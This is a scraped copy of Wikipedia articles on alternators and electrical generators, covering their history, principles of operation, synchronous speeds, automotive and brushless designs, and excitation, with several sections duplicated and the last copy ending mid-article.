^ Blalock, Thomas J., "Alternating Current Electrification, 1886". IEEE History Center, IEEE Milestone. (ed. first practical demonstration of a dc generator - ac transformer system.)
^ US patent 447921, Tesla, Nikola, "Alternating Electric Current Generator".
^ Thompson, Sylvanus P., Dynamo-Electric Machinery. pp. 17
^ Thompson, Sylvanus P., Dynamo-Electric Machinery. pp. 16
^ The Electrical Year Book 1937, published by Emmott & Co Ltd, Manchester, England, page 72
^ Horst Bauer (ed.) Automotive Handbook 4th Edition, Robert Bosch GmbH, Stuttgart, 1996, ISBN 0-8376-0333-1, page 813
[edit]References
Thompson, Sylvanus P., Dynamo-Electric Machinery, A Manual for Students of Electrotechnics, Part 1, Collier and Sons, New York, 1902
White, Thomas H.,"Alternator-Transmitter Development (1891-1920)". EarlyRadioHistory.us.
[edit]External links
Wikimedia Commons has media related to: Alternators
How Car Alternators Work - Video Lesson
"Alternators". Integrated Publishing (TPub.com).
"Wooden Low-RPM Alternator". ForceField, Fort Collins, Colorado, USA.
"Understanding 3 phase alternators". WindStuffNow.
"Alternator, Arc and Spark. The first Wireless Transmitters". The G0UTY Homepage.
From Wikipedia, the free encyclopedia
Early 20th-century alternator made in Budapest, Hungary, in the power generating hall of a hydroelectric station (photograph by Prokudin-Gorsky, 1905–1915).
An alternator is an electromechanical device that converts mechanical energy to electrical energy in the form of alternating current. Most alternators use a rotating magnetic field but linear alternators are occasionally used. In principle, any AC electrical generator can be called an alternator, but usually the word refers to small rotating machines driven by automotive and other internal combustion engines. Alternators in power stations driven by steam turbines are called turbo-alternators.
Contents [hide]
1 History
2 Principle of operation
3 Synchronous speeds
4 Automotive alternators
5 Marine alternators
6 Brushless alternators
6.1 Construction
6.2 Main alternator
6.3 Control system
6.4 Automatic voltage regulator (AVR)
7 Hybrid automobiles
8 Radio alternators
9 See also
10 Notes
11 References
12 External links
[edit]History
Alternating current generating systems were known in simple forms from the discovery of the magnetic induction of electric current. The early machines were developed by pioneers such as Michael Faraday and Hippolyte Pixii.
Faraday developed the "rotating rectangle", whose operation was heteropolar - each active conductor passed successively through regions where the magnetic field was in opposite directions.[1] The first public demonstration of a more robust "alternator system" took place in 1886.[2] Large two-phase alternating current generators were built by a British electrician, J.E.H. Gordon, in 1882. Lord Kelvin and Sebastian Ferranti also developed early alternators, producing frequencies between 100 and 300 Hz. In 1891, Nikola Tesla patented a practical "high-frequency" alternator (which operated around 15 kHz).[3] After 1891, polyphase alternators were introduced to supply currents of multiple differing phases.[4] Later alternators were designed for varying alternating-current frequencies between sixteen and about one hundred hertz, for use with arc lighting, incandescent lighting and electric motors.[5]
[edit]Principle of operation
Diagram of a simple alternator with a rotating magnetic core (rotor) and stationary wire (stator) also showing the current induced in the stator by the rotating magnetic field of the rotor.
Alternators generate electricity by the same principle as DC generators, namely, when the magnetic field around a conductor changes, a current is induced in the conductor. Typically, a rotating magnet called the rotor turns within a stationary set of conductors wound in coils on an iron core, called the stator. The field cuts across the conductors, generating an induced EMF, as the mechanical input causes the rotor to turn.
The rotating magnetic field induces an AC voltage in the stator windings. Often there are three sets of stator windings, physically offset so that the rotating magnetic field produces three phase currents, displaced by one-third of a period with respect to each other.
The rotor magnetic field may be produced by induction (in a "brushless" alternator), by permanent magnets (in very small machines), or by a rotor winding energized with direct current through slip rings and brushes. The rotor magnetic field may even be provided by stationary field winding, with moving poles in the rotor. Automotive alternators invariably use a rotor winding, which allows control of the alternator generated voltage by varying the current in the rotor field winding. Permanent magnet machines avoid the loss due to magnetizing current in the rotor, but are restricted in size, owing to the cost of the magnet material. Since the permanent magnet field is constant, the terminal voltage varies directly with the speed of the generator. Brushless AC generators are usually larger machines than those used in automotive applications.
[edit]Synchronous speeds
The output frequency of an alternator depends on the number of poles and the rotational speed. The speed corresponding to a particular frequency is called the synchronous speed for that frequency. This table [6] gives some examples:
Poles RPM at 50 Hz RPM at 60 Hz
2 3,000 3,600
4 1,500 1,800
6 1,000 1,200
8 750 900
10 600 720
12 500 600
14 428.6 514.3
16 375 450
18 333.3 400
20 300 360
More generally, one cycle of alternating current is produced each time a pair of field poles passes over a point on the stationary winding. The relation between speed and frequency is N = 120f / P , where f is the frequency in Hz (cycles per second). P is the number of poles (2,4,6...) and N is the rotational speed in revolutions per minute (RPM). Very old descriptions of alternating current systems sometimes give the frequency in terms of alternations per minute, counting each half-cycle as one alternation; so 12,000 alternations per minute corresponds to 100 Hz.
[edit]Automotive alternators
Alternator mounted in lower right front of an automobile engine with a serpentine belt pulley.
Cut-away of an alternator, showing the claw-pole construction; two of the wedge-shaped field poles, alternating N and S, are visible in the center, and the stationary armature winding is visible at the top and bottom of the opening. The belt and pulley at the right hand end drives the alternator.
Alternators are used in modern automobiles to charge the battery and to power a car's electric system when its engine is running. Alternators have the great advantage over direct-current generators of not using a commutator, which makes them simpler, lighter, less costly, more rugged than a DC generator, and the slip rings allow for greatly extended brush life. The stronger construction of automotive alternators allows them to use a smaller pulley so as to turn faster than the engine, improving output when the engine is idling. The availability of low-cost solid-state diodes from about 1960 onward allowed car manufacturers to substitute alternators for DC generators. Automotive alternators use a set of rectifiers (diode bridge) to convert AC to DC. To provide direct current with low ripple, automotive alternators have a three-phase winding. In addition, the pole-pieces of the rotor are shaped (claw-pole) so as to produce a voltage waveform closer to a square wave that, when rectified by the diodes, produces even less ripple than the rectification of three-phase sinusoidal voltages.
Typical passenger vehicle and light truck alternators use Lundell or claw-pole field construction, where the field north and south poles are all energized by a single winding, with the poles looking rather like fingers of two hands interlocked with each other. Larger vehicles may have salient-pole alternators similar to larger machines. The automotive alternator is usually belt driven at 2-3 times the engine crankshaft speed. Automotive alternators are not restricted to a certain RPM because the alternating current is rectified to direct current and need not be any constant frequency.
Modern automotive alternators have a voltage regulator built into them. The voltage regulator operates by modulating the small field current in order to produce a constant voltage at the stator output. The field current is much smaller than the output current of the alternator; for example, a 70-amp alternator may need only 2 amps of field current. The field current is supplied to the rotor windings by slip rings and brushes. The low current and relatively smooth slip rings ensure greater reliability and longer life than that obtained by a DC generator with its commutator and higher current being passed through its brushes.
Where the brushes in a generator are relatively accessible for service and replacement, the alternator's brushes are not. The alternator usually must be disassembled to reach and change the brushes. However, the smooth slip rings cause so little brush wear that they may be said to last the life of the alternator.
Efficiency of automotive alternators is limited by fan cooling loss, bearing loss, iron loss, copper loss, and the voltage drop in the diode bridges; at part load, efficiency is between 50-62% depending on the size of alternator, and varies with alternator speed.[7] In comparison, very small high-performance permanent magnet alternators, such as those used for bicycle lighting systems, achieve an efficiency around 60%. Larger permanent magnet alternators can achieve much higher efficiency.[citation needed] By contrast, the large AC generators used in power stations run at carefully controlled speeds and have no constraints on size or weight. Consequently, they have much higher efficiencies, on the order of 98% from shaft to AC output power.
The field windings are initially supplied via the ignition switch and charge warning light, which is why the light glows when the ignition is on but the engine is not running. Once the engine is running and the alternator is generating, a diode feeds the field current from the alternator main output, thus equalizing the voltage across the warning light which goes out. The wire supplying the field current is often referred to as the "exciter" wire. The drawback of this arrangement is that if the warning light fails or the "exciter" wire is disconnected, no excitation current reaches the alternator field windings and so the alternator, due to low residual magnetism in the rotor will not generate any power. However, some alternators will self-excite when the engine is revved to a certain speed. Also, some warning light circuits are equipped with a resistor in parallel with the warning light that will permit excitation current to flow even if the warning light fails. The driver should check that the warning light is glowing when the engine is stopped, otherwise, there might not be any indication of a failure of the alternator drive belt which normally also drives the cooling water pump.
Very large automotive alternators used on buses, heavy equipment or emergency vehicles may produce 300 amperes. Very old automobiles with minimal lighting and electronic devices may have only a 30 ampere alternator. Typical passenger car and light truck alternators are rated around 50-70 amperes, though higher ratings are becoming more common, especially as there is more load on the vehicle's electrical system with, for example, the introduction of electric power steering systems. Very large automotive alternators may be water-cooled or oil-cooled.
Many alternator voltage regulators are today linked to the vehicle's on board computer system, and in recent years other factors including air temperature (obtained from the mass air flow sensor in many cases) and engine load are considered in adjusting the battery charging voltage supplied by the alternator.
[edit]Marine alternators
Marine alternators used in yachts are similar to automotive alternators, with appropriate adaptations to the salt-water environment. Marine alternators are designed to be explosion proof so that brush sparking will not ignite explosive gas mixtures in an engine room environment. They may be 12 or 24 volt depending on the type of system installed. Larger marine diesels may have two or more alternators to cope with the heavy electrical demand of a modern yacht. On single alternator circuits the power is split between the engine starting battery and the domestic or house battery (or batteries) by use of a split-charge diode or a mechanical switch. Because the alternator only produces power when running, engine control panels are typically fed directly from the alternator by means of an auxiliary terminal. Other typical connections are for charge control circuits.
[edit]Brushless alternators
[edit]Construction
A brushless alternator is composed of two alternators built end-to-end on one shaft. Smaller brushless alternators may look like one unit but the two parts are readily identifiable on the large versions. The larger of the two sections is the main alternator and the smaller one is the exciter. The exciter has stationary field coils and a rotating armature (power coils). The main alternator uses the opposite configuration with a rotating field and stationary armature. A bridge rectifier, called the rotating rectifier assembly, is mounted on a plate attached to the rotor. Neither brushes nor slip rings are used, which reduces the number of wearing parts.
[edit]Main alternator
The main alternator has a rotating field as described above and a stationary armature (power generation windings).
[edit]Control system
Varying the amount of current through the stationary exciter field coils varies the 3-phase output from the exciter. This output is rectified by a rotating rectifier assembly, mounted on the rotor, and the resultant DC supplies the rotating field of the main alternator and hence alternator output. The result of all this is that a small DC exciter current indirectly controls the output of the main alternator.
[edit]Automatic voltage regulator (AVR)
An automatic voltage control device controls the field current to keep output voltage constant.
[edit]Hybrid automobiles
Hybrid automobiles replace the separate alternator and starter motor with a combined motor/generator that performs both functions, cranking the internal combustion engine when starting, providing additional mechanical power for accelerating, and charging a large storage battery when the vehicle is running at constant speed. These rotating machines have considerably more powerful electronic devices for their control than the automotive alternator described above.
[edit]Radio alternators
Main article: Alexanderson alternator
High frequency alternators of the variable-reluctance type were applied commercially to radio transmission in the low-frequency radio bands. These were used for transmission of Morse code and, experimentally, for transmission of voice and music.
[edit]See also
Electrical generator as in pre-1960 motor cars
Linear alternator
Jedlik's dynamo
[edit]Notes
^ Thompson, Sylvanus P., Dynamo-Electric Machinery. pp. 7
^ Blalock, Thomas J., "Alternating Current Electrification, 1886". IEEE History Center, IEEE Milestone. (ed. first practical demonstration of a dc generator - ac transformer system.)
^ US patent 447921, Tesla, Nikola, "Alternating Electric Current Generator".
^ Thompson, Sylvanus P., Dynamo-Electric Machinery. pp. 17
^ Thompson, Sylvanus P., Dynamo-Electric Machinery. pp. 16
^ The Electrical Year Book 1937, published by Emmott & Co Ltd, Manchester, England, page 72
^ Horst Bauer (ed.) Automotive Handbook 4th Edition, Robert Bosch GmbH, Stuttgart, 1996, ISBN 0-8376-0333-1, page 813
[edit]References
Thompson, Sylvanus P., Dynamo-Electric Machinery, A Manual for Students of Electrotechnics, Part 1, Collier and Sons, New York, 1902
White, Thomas H.,"Alternator-Transmitter Development (1891-1920)". EarlyRadioHistory.us.
[edit]External links
Wikimedia Commons has media related to: Alternators
How Car Alternators Work - Video Lesson
"Alternators". Integrated Publishing (TPub.com).
"Wooden Low-RPM Alternator". ForceField, Fort Collins, Colorado, USA.
"Understanding 3 phase alternators". WindStuffNow.
"Alternator, Arc and Spark. The first Wireless Transmitters". The G0UTY Homepage.
Electrical generator
Electrical generator
From Wikipedia, the free encyclopedia
NRC image of Modern Steam Turbine Generator.
In electricity generation, an electric generator is a device that converts mechanical energy to electrical energy. The reverse conversion of electrical energy into mechanical energy is done by a motor; motors and generators have many similarities. A generator forces electrons in the windings to flow through the external electrical circuit. It is somewhat analogous to a water pump, which creates a flow of water but does not create the water inside. The source of mechanical energy may be a reciprocating or turbine steam engine, water falling through a turbine or waterwheel, an internal combustion engine, a wind turbine, a hand crank, compressed air or any other source of mechanical energy.
Early 20th century alternator made in Budapest, Hungary, in the power generating hall of a hydroelectric station
Generator in Zwevegem, West Flanders, Belgium
Contents [hide]
1 Historical developments
1.1 Jedlik's dynamo
1.2 Faraday's disk
1.3 Dynamo
1.4 Other rotating electromagnetic generators
1.5 MHD generator
2 Terminology
3 Excitation
4 DC Equivalent circuit
5 Vehicle-mounted generators
6 Engine-generator
7 Human powered electrical generators
8 Linear electric generator
9 Tachogenerator
10 See also
11 References
12 External links
[edit]Historical developments
Before the connection between magnetism and electricity was discovered, electrostatic generators were invented that used electrostatic principles. These generated very high voltages and low currents. They operated by using moving electrically charged belts, plates and disks to carry charge to a high potential electrode. The charge was generated using either of two mechanisms:
Electrostatic induction
The triboelectric effect, where the contact between two insulators leaves them charged.
Because of their inefficiency and the difficulty of insulating machines producing very high voltages, electrostatic generators had low power ratings and were never used for generation of commercially-significant quantities of electric power. The Wimshurst machine and Van de Graaff generator are examples of these machines that have survived.
[edit]Jedlik's dynamo
Main article: Jedlik's dynamo
In 1827, Hungarian Anyos Jedlik started experimenting with electromagnetic rotating devices which he called electromagnetic self-rotors. In the prototype of the single-pole electric starter (finished between 1852 and 1854) both the stationary and the revolving parts were electromagnetic. He formulated the concept of the dynamo at least 6 years before Siemens and Wheatstone but didn't patent it as he thought he wasn't the first to realize this. In essence the concept is that instead of permanent magnets, two electromagnets opposite to each other induce the magnetic field around the rotor. It was also the discovery of the principle of self-excitation.[1] Jedlik's invention was decades ahead of its time.
[edit]Faraday's disk
Faraday disk
In the years of 1831-1832 Michael Faraday discovered the operating principle of electromagnetic generators. The principle, later called Faraday's law, is that a potential difference is generated between the ends of an electrical conductor that moves perpendicular to a magnetic field. He also built the first electromagnetic generator, called the 'Faraday disk', a type of homopolar generator, using a copper disc rotating between the poles of a horseshoe magnet. It produced a small DC voltage.
This design was inefficient due to self-cancelling counterflows of current in regions not under the influence of the magnetic field. While current flow was induced directly underneath the magnet, the current would circulate backwards in regions outside the influence of the magnetic field. This counterflow limits the power output to the pickup wires, and induces waste heating of the copper disc. Later homopolar generators would solve this problem by using an array of magnets arranged around the disc perimeter to maintain a steady field effect in one current-flow direction.
Another disadvantage was that the output voltage was very low, due to the single current path through the magnetic flux. Experimenters found that using multiple turns of wire in a coil could produce higher more useful voltages. Since the output voltage is proportional to the number of turns, generators could be easily designed to produce any desired voltage by varying the number of turns. Wire windings became a basic feature of all subsequent generator designs.
However, recent advances (rare earth magnets) have made possible homo-polar motors with the magnets on the rotor, which should offer many advantages to older designs.
[edit]Dynamo
Main article: Dynamo
Dynamos are no longer used for power generation due to the size and complexity of the commutator needed for high power applications. This large belt-driven high-current dynamo produced 310 amperes at 7 volts, or 2,170 watts, when spinning at 1400 RPM.
Dynamo Electric Machine [End View, Partly Section] (U.S. Patent 284,110)
The Dynamo was the first electrical generator capable of delivering power for industry. The dynamo uses electromagnetic principles to convert mechanical rotation into a pulsing direct electric current through the use of a commutator. The first dynamo was built by Hippolyte Pixii in 1832.
Through a series of accidental discoveries, the dynamo became the source of many later inventions, including the DC electric motor, the AC alternator, the AC synchronous motor, and the rotary converter.
A dynamo machine consists of a stationary structure, which provides a constant magnetic field, and a set of rotating windings which turn within that field. On small machines the constant magnetic field may be provided by one or more permanent magnets; larger machines have the constant magnetic field provided by one or more electromagnets, which are usually called field coils.
Large power generation dynamos are now rarely seen due to the now nearly universal use of alternating current for power distribution and solid state electronic AC to DC power conversion. But before the principles of AC were discovered, very large direct-current dynamos were the only means of power generation and distribution. Now power generation dynamos are mostly a curiosity.
[edit]Other rotating electromagnetic generators
Without a commutator, the dynamo is an example of an alternator, which is a synchronous singly-fed generator. With an electromechanical commutator, the dynamo is a classical direct current (DC) generator. The alternator must always operate at a constant speed that is precisely synchronized to the electrical frequency of the power grid for non-destructive operation. The DC generator can operate at any speed within mechanical limits but always outputs a direct current waveform.
Other types of generators, such as the asynchronous or induction singly-fed generator, the doubly-fed generator, or the brushless wound-rotor doubly-fed generator, do not incorporate permanent magnets or field windings (i.e, electromagnets) that establish a constant magnetic field, and as a result, are seeing success in variable speed constant frequency applications, such as wind turbines or other renewable energy technologies.
The full output performance of any generator can be optimized with electronic control but only the doubly-fed generators or the brushless wound-rotor doubly-fed generator incorporate electronic control with power ratings that are substantially less than the power output of the generator under control, which by itself offer cost, reliability and efficiency benefits.
[edit]MHD generator
A magnetohydrodynamic generator directly extracts electric power from moving hot gases through a magnetic field, without the use of rotating electromagnetic machinery. MHD generators were originally developed because the output of a plasma MHD generator is a flame, well able to heat the boilers of a steam power plant. The first practical design was the AVCO Mk. 25, developed in 1965. The U.S. government funded substantial development, culminating in a 25 MW demonstration plant in 1987. In the Soviet Union from 1972 until the late 1980s, the MHD plant U 25 was in regular commercial operation on the Moscow power system with a rating of 25 MW, the largest MHD plant rating in the world at that time.[2] MHD generators operated as a topping cycle are currently (2007) less efficient than combined-cycle gas turbines.
[edit]Terminology
Rotor from generator at Hoover Dam, United States
The two main parts of a generator or motor can be described in either mechanical or electrical terms:[3]
Mechanical:
Rotor: The rotating part of an electrical machine
Stator: The stationary part of an electrical machine
Electrical:
Armature: The power-producing component of an electrical machine. In a generator, alternator, or dynamo the armature windings generate the electrical current. The armature can be on either the rotor or the stator.
Field: The magnetic field component of an electrical machine. The magnetic field of the dynamo or alternator can be provided by either electromagnets or permanent magnets mounted on either the rotor or the stator.
Because power transferred into the field circuit is much less than in the armature circuit, AC generators nearly always have the field winding on the rotor and the stator as the armature winding. Only a small amount of field current must be transferred to the moving rotor, using slip rings. Direct current machines necessarily have the commutator on the rotating shaft, so the armature winding is on the rotor of the machine.
[edit]Excitation
A small early 1900s 75 KVA direct-driven power station AC alternator, with a separate belt-driven exciter generator.
Main article: Excitation (magnetic)
An electric generator or electric motor that uses field coils rather than permanent magnets will require a current flow to be present in the field coils for the device to be able to work. If the field coils are not powered, the rotor in a generator can spin without producing any usable electrical energy, while the rotor of a motor may not spin at all. Very large power station generators often utilize a separate smaller generator to excite the field coils of the larger.
In the event of a severe widespread power outage where islanding of power stations has occurred, the stations may need to perform a black start to excite the fields of their largest generators, in order to restore customer power service.
[edit]DC Equivalent circuit
Equivalent circuit of generator and load.
G = generator
VG=generator open-circuit voltage
RG=generator internal resistance
VL=generator on-load voltage
RL=load resistance
The equivalent circuit of a generator and load is shown in the diagram to the right. The generator's VG and RG parameters can be determined by measuring the winding resistance (corrected to operating temperature), and measuring the open-circuit and loaded voltage for a defined current load.
[edit]Vehicle-mounted generators
Early motor vehicles until about the 1960s tended to use DC generators with electromechanical regulators. These have now been replaced by alternators with built-in rectifier circuits, which are less costly and lighter for equivalent output. Automotive alternators power the electrical systems on the vehicle and recharge the battery after starting. Rated output will typically be in the range 50-100 A at 12 V, depending on the designed electrical load within the vehicle. Some cars now have electrically-powered steering assistance and air conditioning, which places a high load on the electrical system. Large commercial vehicles are more likely to use 24 V to give sufficient power at the starter motor to turn over a large diesel engine. Vehicle alternators do not use permanent magnets and are typically only 50-60% efficient over a wide speed range.[4] Motorcycle alternators often use permanent magnet stators made with rare earth magnets, since they can be made smaller and lighter than other types. See also hybrid vehicle.
Some of the smallest generators commonly found power bicycle lights. These tend to be 0.5 ampere, permanent-magnet alternators supplying 3-6 W at 6 V or 12 V. Being powered by the rider, efficiency is at a premium, so these may incorporate rare-earth magnets and are designed and manufactured with great precision. Nevertheless, the maximum efficiency is only around 80% for the best of these generators—60% is more typical—due in part to the rolling friction at the tire-generator interface from poor alignment, the small size of the generator, bearing losses and cheap design. The use of permanent magnets means that efficiency falls even further at high speeds because the magnetic field strength cannot be controlled in any way.
Sailing yachts may use a water or wind powered generator to trickle-charge the batteries. A small propeller, wind turbine or impeller is connected to a low-power alternator and rectifier to supply currents of up to 12 A at typical cruising speeds.
[edit]Engine-generator
Main article: Engine-generator
An engine-generator is the combination of an electrical generator and an engine (prime mover) mounted together to form a single piece of self-contained equipment. The engines used are usually piston engines, but gas turbines can also be used. Many different versions are available - ranging from very small portable petrol powered sets to large turbine installations.
[edit]Human powered electrical generators
Main article: Self-powered equipment
A generator can also be driven by human muscle power (for instance, in field radio station equipment).
Human powered direct current generators are commercially available, and have been the project of some DIY enthusiasts. Typically operated by means of pedal power, a converted bicycle trainer, or a foot pump, such generators can be practically used to charge batteries, and in some cases are designed with an integral inverter. The average adult could generate about 125-200 watts on a pedal powered generator. Portable radio receivers with a crank are made to reduce battery purchase requirements, see clockwork radio.
[edit]Linear electric generator
In the simplest form of linear electric generator, a sliding magnet moves back and forth through a solenoid - a spool of copper wire. An alternating current is induced in the loops of wire by Faraday's law of induction each time the magnet slides through. This type of generator is used in the Faraday flashlight. Larger linear electricity generators are used in wave power schemes.
[edit]Tachogenerator
Tachogenerators are frequently used to power tachometers to measure the speeds of electric motors, engines, and the equipment they power. Generators generate voltage roughly proportional to shaft speed. With precise construction and design, generators can be built to produce very precise voltages for certain ranges of shaft speeds
[edit]See also
Wikimedia Commons has media related to: Electrical generators
Energy portal
Faraday's law of induction
Alternator
Homopolar generator
Superconducting electric machine
Hybrid vehicle
Solar cell
Radioisotope thermoelectric generator
Thermogenerator
Wind turbine
Diesel generator
[edit]References
^ Augustus Heller (April 2, 1896), "Anianus Jedlik", Nature (Norman Lockyer) 53 (1379): 516
^ Langdon Crane, Magnetohydrodynamic (MHD) Power Generator: More Energy from Less Fuel, Issue Brief Number IB74057, Library of Congress Congressional Research Service, 1981, retrieved from http://digital.library.unt.edu/govdocs/crs/permalink/meta-crs-8402:1 July 18, 2008
^ James Stallcup (2005). Stallcup's Generator, Transformer, Motor And Compressor Book, 2005. Jones & Bartlett Publishers. p. 2-1. ISBN 9780877656692.
^ Horst Bauer Bosch Automotive Handbook 4th Edition Robert Bosch GmbH, Stuttgart 1996 ISBN 0-8376-0333-1, page 813
[edit]External links
Simple generator
A short video demonstration of how an Electrical Generator works
From Wikipedia, the free encyclopedia
NRC image of Modern Steam Turbine Generator.
In electricity generation, an electric generator is a device that converts mechanical energy to electrical energy. The reverse conversion of electrical energy into mechanical energy is done by a motor; motors and generators have many similarities. A generator forces electrons in the windings to flow through the external electrical circuit. It is somewhat analogous to a water pump, which creates a flow of water but does not create the water inside. The source of mechanical energy may be a reciprocating or turbine steam engine, water falling through a turbine or waterwheel, an internal combustion engine, a wind turbine, a hand crank, compressed air or any other source of mechanical energy.
Early 20th century alternator made in Budapest, Hungary, in the power generating hall of a hydroelectric station
Generator in Zwevegem, West Flanders, Belgium
Contents [hide]
1 Historical developments
1.1 Jedlik's dynamo
1.2 Faraday's disk
1.3 Dynamo
1.4 Other rotating electromagnetic generators
1.5 MHD generator
2 Terminology
3 Excitation
4 DC Equivalent circuit
5 Vehicle-mounted generators
6 Engine-generator
7 Human powered electrical generators
8 Linear electric generator
9 Tachogenerator
10 See also
11 References
12 External links
[edit]Historical developments
Before the connection between magnetism and electricity was discovered, electrostatic generators were invented that used electrostatic principles. These generated very high voltages and low currents. They operated by using moving electrically charged belts, plates and disks to carry charge to a high potential electrode. The charge was generated using either of two mechanisms:
Electrostatic induction
The triboelectric effect, where the contact between two insulators leaves them charged.
Because of their inefficiency and the difficulty of insulating machines producing very high voltages, electrostatic generators had low power ratings and were never used for generation of commercially-significant quantities of electric power. The Wimshurst machine and Van de Graaff generator are examples of these machines that have survived.
[edit]Jedlik's dynamo
Main article: Jedlik's dynamo
In 1827, Hungarian Anyos Jedlik started experimenting with electromagnetic rotating devices which he called electromagnetic self-rotors. In the prototype of the single-pole electric starter (finished between 1852 and 1854) both the stationary and the revolving parts were electromagnetic. He formulated the concept of the dynamo at least 6 years before Siemens and Wheatstone but didn't patent it as he thought he wasn't the first to realize this. In essence the concept is that instead of permanent magnets, two electromagnets opposite to each other induce the magnetic field around the rotor. It was also the discovery of the principle of self-excitation.[1] Jedlik's invention was decades ahead of its time.
[edit]Faraday's disk
Faraday disk
In the years of 1831-1832 Michael Faraday discovered the operating principle of electromagnetic generators. The principle, later called Faraday's law, is that a potential difference is generated between the ends of an electrical conductor that moves perpendicular to a magnetic field. He also built the first electromagnetic generator, called the 'Faraday disk', a type of homopolar generator, using a copper disc rotating between the poles of a horseshoe magnet. It produced a small DC voltage.
This design was inefficient due to self-cancelling counterflows of current in regions not under the influence of the magnetic field. While current flow was induced directly underneath the magnet, the current would circulate backwards in regions outside the influence of the magnetic field. This counterflow limits the power output to the pickup wires, and induces waste heating of the copper disc. Later homopolar generators would solve this problem by using an array of magnets arranged around the disc perimeter to maintain a steady field effect in one current-flow direction.
Another disadvantage was that the output voltage was very low, due to the single current path through the magnetic flux. Experimenters found that using multiple turns of wire in a coil could produce higher more useful voltages. Since the output voltage is proportional to the number of turns, generators could be easily designed to produce any desired voltage by varying the number of turns. Wire windings became a basic feature of all subsequent generator designs.
However, recent advances (rare earth magnets) have made possible homo-polar motors with the magnets on the rotor, which should offer many advantages to older designs.
[edit]Dynamo
Main article: Dynamo
Dynamos are no longer used for power generation due to the size and complexity of the commutator needed for high power applications. This large belt-driven high-current dynamo produced 310 amperes at 7 volts, or 2,170 watts, when spinning at 1400 RPM.
Dynamo Electric Machine [End View, Partly Section] (U.S. Patent 284,110)
The Dynamo was the first electrical generator capable of delivering power for industry. The dynamo uses electromagnetic principles to convert mechanical rotation into a pulsing direct electric current through the use of a commutator. The first dynamo was built by Hippolyte Pixii in 1832.
Through a series of accidental discoveries, the dynamo became the source of many later inventions, including the DC electric motor, the AC alternator, the AC synchronous motor, and the rotary converter.
A dynamo machine consists of a stationary structure, which provides a constant magnetic field, and a set of rotating windings which turn within that field. On small machines the constant magnetic field may be provided by one or more permanent magnets; larger machines have the constant magnetic field provided by one or more electromagnets, which are usually called field coils.
Large power generation dynamos are now rarely seen due to the now nearly universal use of alternating current for power distribution and solid state electronic AC to DC power conversion. But before the principles of AC were discovered, very large direct-current dynamos were the only means of power generation and distribution. Now power generation dynamos are mostly a curiosity.
[edit]Other rotating electromagnetic generators
Without a commutator, the dynamo is an example of an alternator, which is a synchronous singly-fed generator. With an electromechanical commutator, the dynamo is a classical direct current (DC) generator. The alternator must always operate at a constant speed that is precisely synchronized to the electrical frequency of the power grid for non-destructive operation. The DC generator can operate at any speed within mechanical limits but always outputs a direct current waveform.
Other types of generators, such as the asynchronous or induction singly-fed generator, the doubly-fed generator, or the brushless wound-rotor doubly-fed generator, do not incorporate permanent magnets or field windings (i.e, electromagnets) that establish a constant magnetic field, and as a result, are seeing success in variable speed constant frequency applications, such as wind turbines or other renewable energy technologies.
The full output performance of any generator can be optimized with electronic control but only the doubly-fed generators or the brushless wound-rotor doubly-fed generator incorporate electronic control with power ratings that are substantially less than the power output of the generator under control, which by itself offer cost, reliability and efficiency benefits.
[edit]MHD generator
A magnetohydrodynamic generator directly extracts electric power from moving hot gases through a magnetic field, without the use of rotating electromagnetic machinery. MHD generators were originally developed because the output of a plasma MHD generator is a flame, well able to heat the boilers of a steam power plant. The first practical design was the AVCO Mk. 25, developed in 1965. The U.S. government funded substantial development, culminating in a 25 MW demonstration plant in 1987. In the Soviet Union from 1972 until the late 1980s, the MHD plant U 25 was in regular commercial operation on the Moscow power system with a rating of 25 MW, the largest MHD plant rating in the world at that time.[2] MHD generators operated as a topping cycle are currently (2007) less efficient than combined-cycle gas turbines.
[edit]Terminology
Rotor from generator at Hoover Dam, United States
The two main parts of a generator or motor can be described in either mechanical or electrical terms:[3]
Mechanical:
Rotor: The rotating part of an electrical machine
Stator: The stationary part of an electrical machine
Electrical:
Armature: The power-producing component of an electrical machine. In a generator, alternator, or dynamo the armature windings generate the electrical current. The armature can be on either the rotor or the stator.
Field: The magnetic field component of an electrical machine. The magnetic field of the dynamo or alternator can be provided by either electromagnets or permanent magnets mounted on either the rotor or the stator.
Because power transferred into the field circuit is much less than in the armature circuit, AC generators nearly always have the field winding on the rotor and the stator as the armature winding. Only a small amount of field current must be transferred to the moving rotor, using slip rings. Direct current machines necessarily have the commutator on the rotating shaft, so the armature winding is on the rotor of the machine.
[edit]Excitation
A small early 1900s 75 KVA direct-driven power station AC alternator, with a separate belt-driven exciter generator.
Main article: Excitation (magnetic)
An electric generator or electric motor that uses field coils rather than permanent magnets will require a current flow to be present in the field coils for the device to be able to work. If the field coils are not powered, the rotor in a generator can spin without producing any usable electrical energy, while the rotor of a motor may not spin at all. Very large power station generators often utilize a separate smaller generator to excite the field coils of the larger.
In the event of a severe widespread power outage where islanding of power stations has occurred, the stations may need to perform a black start to excite the fields of their largest generators, in order to restore customer power service.
[edit]DC Equivalent circuit
Equivalent circuit of generator and load.
G = generator
VG=generator open-circuit voltage
RG=generator internal resistance
VL=generator on-load voltage
RL=load resistance
The equivalent circuit of a generator and load is shown in the diagram to the right. The generator's VG and RG parameters can be determined by measuring the winding resistance (corrected to operating temperature), and measuring the open-circuit and loaded voltage for a defined current load.
[edit]Vehicle-mounted generators
Early motor vehicles until about the 1960s tended to use DC generators with electromechanical regulators. These have now been replaced by alternators with built-in rectifier circuits, which are less costly and lighter for equivalent output. Automotive alternators power the electrical systems on the vehicle and recharge the battery after starting. Rated output will typically be in the range 50-100 A at 12 V, depending on the designed electrical load within the vehicle. Some cars now have electrically-powered steering assistance and air conditioning, which places a high load on the electrical system. Large commercial vehicles are more likely to use 24 V to give sufficient power at the starter motor to turn over a large diesel engine. Vehicle alternators do not use permanent magnets and are typically only 50-60% efficient over a wide speed range.[4] Motorcycle alternators often use permanent magnet stators made with rare earth magnets, since they can be made smaller and lighter than other types. See also hybrid vehicle.
Some of the smallest generators commonly found power bicycle lights. These tend to be 0.5 ampere, permanent-magnet alternators supplying 3-6 W at 6 V or 12 V. Being powered by the rider, efficiency is at a premium, so these may incorporate rare-earth magnets and are designed and manufactured with great precision. Nevertheless, the maximum efficiency is only around 80% for the best of these generators—60% is more typical—due in part to the rolling friction at the tire-generator interface from poor alignment, the small size of the generator, bearing losses and cheap design. The use of permanent magnets means that efficiency falls even further at high speeds because the magnetic field strength cannot be controlled in any way.
Sailing yachts may use a water or wind powered generator to trickle-charge the batteries. A small propeller, wind turbine or impeller is connected to a low-power alternator and rectifier to supply currents of up to 12 A at typical cruising speeds.
[edit]Engine-generator
Main article: Engine-generator
